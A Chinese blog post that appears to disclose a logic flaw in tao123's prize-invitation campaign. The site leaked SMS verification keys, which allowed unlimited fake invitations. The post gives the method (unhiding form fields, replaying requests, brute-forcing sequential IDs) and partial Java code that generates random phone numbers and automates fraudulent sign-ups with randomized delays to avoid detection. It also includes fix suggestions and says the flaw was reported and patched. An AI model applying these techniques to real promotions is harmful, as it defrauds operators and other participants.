现在活动层出不穷,动不动就是送ipad、iphone4。。。。可能很多人会说:假的,我抽了好久都没获奖过。
如果这个活动没有任何漏洞那么我们肯定有机会获取到这个奖,但是一旦有漏洞,那么你在努力100%也得不到的。
下面就拿淘123这个活动来讲解下吧。
理论来说这个是无限邀请的漏洞,那么只要我用这个漏洞,我肯定是邀请第一名,那台熊猫车肯定也中了。。。。
编码的时候,就运行了一会就得到了7、8十个抽奖卡。。。手机响个不停。。。
具体原理看下面。
规则:邀请一个人获得3次抽奖机会,邀请人数最多的人获取一辆“熊猫”
1.绕过点击8次
如上图,本身是要点击8次才可以输入手机号的,我们可以将隐藏域显示出来,然后直接输入即可。然后就获得了自己的邀请链接
通知看firebug里面的通信链接
用httpclient模拟一个请求。随后就可以伪造无数的绑定请求了。
返回值解码之后:
用户手机的验证key竟然在结果中返回了。。。那更简单了,直接每次绑定一个手机,然后提取这个手机的验证码,就可以实现看不到手机也能邀请成功了。
思路:
随即生成手机号,申请,同时获取验证码,伪造抽奖请求。在获取到验证码后,直接来抽奖。这样就无限的绑定手机了。。。。
思路2:
如果这条路封了,同样可以暴力破解,因为他的ID始终是自增的,所以就同一时间搞一批手机号去申请。然后暴力验证验证码。就是效率比较低,但是目前排名第一的也不过100多个邀请,还是有很大的可操作空间。
为了达到更接近真实,随即产生手机号,每次访问服务器随即时间。由于还处于活动期间,所以只放出部分参考代码。
随机工具类:
import java.util.Random;
public class RandomUtil {
static String[] phoneNum = { "130", "131", "132", "133", "134", "135", "136", "137", "138",
"139", "150", "151", "152", "153", "155", "156", "158", "159", "186", "187", "188",
"189" };
static Random random = new Random(System.currentTimeMillis());
public static int getIntRandom(int num) {
int k = random.nextInt();
return Math.abs(k % num);
}
public static long getLongRandom(long num) {
long k = random.nextLong();
return Math.abs(k % num);
}
public static String getRandomPhone() {
String phone = phoneNum[getIntRandom(phoneNum.length)];
long r = getLongRandom(99999999L);
int len = 8 - String.valueOf(r).length();
for (int i = 0; i < len; i++) {
phone = phone + "0";
}
return phone + String.valueOf(r);
}
}
核心代码:
for (int i = 0; i < 20; i++) {
phone = Long.parseLong(RandomUtil.getRandomPhone());
once(phone);
try {
System.out.println("waiting.....");
//随即休息10分钟
Thread.sleep(RandomUtil.getIntRandom(60 * 1000) + 1000);
} catch (InterruptedException e) {
}
}
}
public static void once(long phone) {
// 获取8次页面
// getPage("http://www.tao123.com/geili.html?" + id, false);
//
// try {
// //随即休息5分钟
// Thread.sleep(RandomUtil.getIntRandom(3 * 1000) + 1000);
// } catch (InterruptedException e) {
// }
// 获取key
String key = geiLi(phone);
if (key.equals("")) {
System.out.println("[" + phone + "]this phone can't use,");
return;
}
System.out.println(phone + "=" + key);
//-----------------休息一个随即时间,获取抽奖页面,然后验证是否正确-------
// try {
// //随即休息20秒
// Thread.sleep(RandomUtil.getIntRandom(3 * 1000) + 1000);
// } catch (InterruptedException e) {
// }
// getPage("http://geili.tao123.com/", false);
try {
//随即休息50秒
Thread.sleep(RandomUtil.getIntRandom(60 * 1000) + 10000);
} catch (InterruptedException e) {
}
submit(key, phone);
//---------------休息一个随即时间,然后确认然后抽奖----------------------
try {
//随即休息20秒
Thread.sleep(RandomUtil.getIntRandom(30 * 1000) + 10000);
} catch (InterruptedException e) {
}
check(key, phone);
}
源码就不放出了,我先保存为草稿,通知对方修复之后,在放出此文。
漏洞修改建议:
1.http://geili.tao123.com/lottery.php?action=callback&type=SetTelephone 这个返回值里面把卡号去掉。
2.好123卡确认失败10次就直接失效掉,但是还算邀请成功。
================================================
php改起来就是快,报过去几分钟就搞定了。
最新返回的json中把message给删掉了。哈哈哈,这个失误太大了,不过前后端结合这个盲点很容易忽略。
callback({"SetTelephone":{"success":"true","userid":252514}});